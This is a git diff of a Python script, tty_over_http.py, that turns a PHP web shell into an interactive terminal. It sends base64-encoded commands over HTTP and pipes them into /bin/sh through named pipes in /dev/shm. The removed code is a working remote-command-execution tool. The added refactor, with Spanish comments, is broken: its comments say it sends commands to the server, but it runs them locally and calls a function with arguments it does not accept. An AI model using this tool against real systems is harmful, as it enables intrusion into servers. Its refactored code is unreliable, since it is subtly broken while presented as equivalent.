diff --git a/tty_over_http.py b/tty_over_http.py index 5842b32..9e63b23 100644 --- a/tty_over_http.py +++ b/tty_over_http.py @@ -1,79 +1,95 @@ #!/usr/bin/python3 -import requests, time, threading, pdb, signal, sys +import requests +import subprocess +import time +import threading +import os +import signal +import sys from base64 import b64encode from random import randrange -class AllTheReads(object): - def __init__(self, interval=1): - self.interval = interval - thread = threading.Thread(target=self.run, args=()) - thread.daemon = True - thread.start() +class AllTheReads: + def __init__(self, interval=1): + self.interval = interval + thread = threading.Thread(target=self.run, args=()) + thread.daemon = True + thread.start() - def run(self): - readoutput = """/bin/cat %s""" % (stdout) - clearoutput = """echo '' > %s""" % (stdout) - while True: - output = RunCmd(readoutput) - if output: - RunCmd(clearoutput) - print(output) - time.sleep(self.interval) + def run(self): + # Lee el contenido del archivo stdout + read_output = f"/bin/cat {stdout}" + # Limpia el contenido del archivo stdout + clear_output = f"echo '' > {stdout}" + while True: + # Ejecuta el comando para leer el contenido de stdout + output = run_cmd(read_output) + if output: + # Limpia stdout y muestra el resultado si hay contenido + run_cmd(clear_output) + print(output) + time.sleep(self.interval) -def RunCmd(cmd): - cmd = cmd.encode('utf-8') - cmd = b64encode(cmd).decode('utf-8') - payload = { - 'cmd' : 'echo "%s" | base64 -d | sh' %(cmd) - } - result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip() - return result +# Función para ejecutar comandos en la shell +def run_cmd(cmd): + try: + # Ejecuta el comando y devuelve el resultado + result = subprocess.check_output(cmd, shell=True, text=True) + return result.strip() + except subprocess.CalledProcessError as e: + # Maneja errores al ejecutar comandos + print(f"Error ejecutando el comando: {e}") + return "" -def WriteCmd(cmd): - cmd = cmd.encode('utf-8') - cmd = b64encode(cmd).decode('utf-8') - payload = { - 'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin) - } - result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip() - return result +# Función para escribir comandos en el servidor a través de una solicitud HTTP +def write_cmd(cmd): + # Codifica el comando en base64 y construye el payload para la solicitud HTTP + cmd = b64encode(cmd.encode('utf-8')).decode('utf-8') + payload = { + 'cmd': f'echo "{cmd}" | base64 -d > {stdin}' + } + # Realiza la solicitud HTTP al servidor + result = run_cmd('http://127.0.0.1/index.php', params=payload, timeout=5) + return result.strip() -def ReadCmd(): - GetOutput = """/bin/cat %s""" % (stdout) - output = RunCmd(GetOutput) - return output +# Configura la shell para la comunicación +def setup_shell(): + # Crea named pipes (tubos con nombre) para la comunicación bidireccional + named_pipes = f"mkfifo {stdin}; tail -f {stdin} | /bin/sh 2>&1 > {stdout}" + run_cmd(named_pipes) -def SetupShell(): - NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout) - try: - RunCmd(NamedPipes) - except: - None - return None - -global stdin, stdout -session = randrange(1000, 9999) -stdin = "/dev/shm/input.%s" % (session) -stdout = "/dev/shm/output.%s" % (session) -erasestdin = """/bin/rm %s""" % (stdin) -erasestdout = """/bin/rm %s""" % (stdout) +# Maneja la señal de interrupción (Ctrl+C) +def sig_handler(sig, frame): + print("\n\n[*] Saliendo...\n") + print("[*] Eliminando archivos...\n") + try: + # Elimina los archivos stdin y stdout + os.remove(stdin) + os.remove(stdout) + print("[*] Todos los archivos han sido eliminados\n") + except FileNotFoundError: + # Maneja el caso en que los archivos no se encuentren + print("[*] Archivos no encontrados\n") + sys.exit(0) -SetupShell() +if __name__ == "__main__": + # Genera un número de sesión aleatorio + session = randrange(1000, 9999) + # Construye las rutas de los archivos stdin y stdout + stdin = f"/dev/shm/input.{session}" + stdout = f"/dev/shm/output.{session}" -ReadingTheThings = AllTheReads() + # Configura la shell para la comunicación + setup_shell() -def sig_handler(sig, frame): - print("\n\n[*] Exiting...\n") - print("[*] Removing files...\n") - RunCmd(erasestdin) - RunCmd(erasestdout) - print("[*] All files have been deleted\n") - sys.exit(0) + # Inicia la lectura continua de stdout en un hilo separado + ReadingTheThings = AllTheReads() -signal.signal(signal.SIGINT, sig_handler) + # Configura el manejador de señales para Ctrl+C + signal.signal(signal.SIGINT, sig_handler) -while True: - cmd = input("> ") - WriteCmd(cmd + "\n") - time.sleep(1.1) + while True: + # Lee un comando desde la entrada estándar y lo envía al servidor + cmd = input("> ") + write_cmd(cmd + "\n")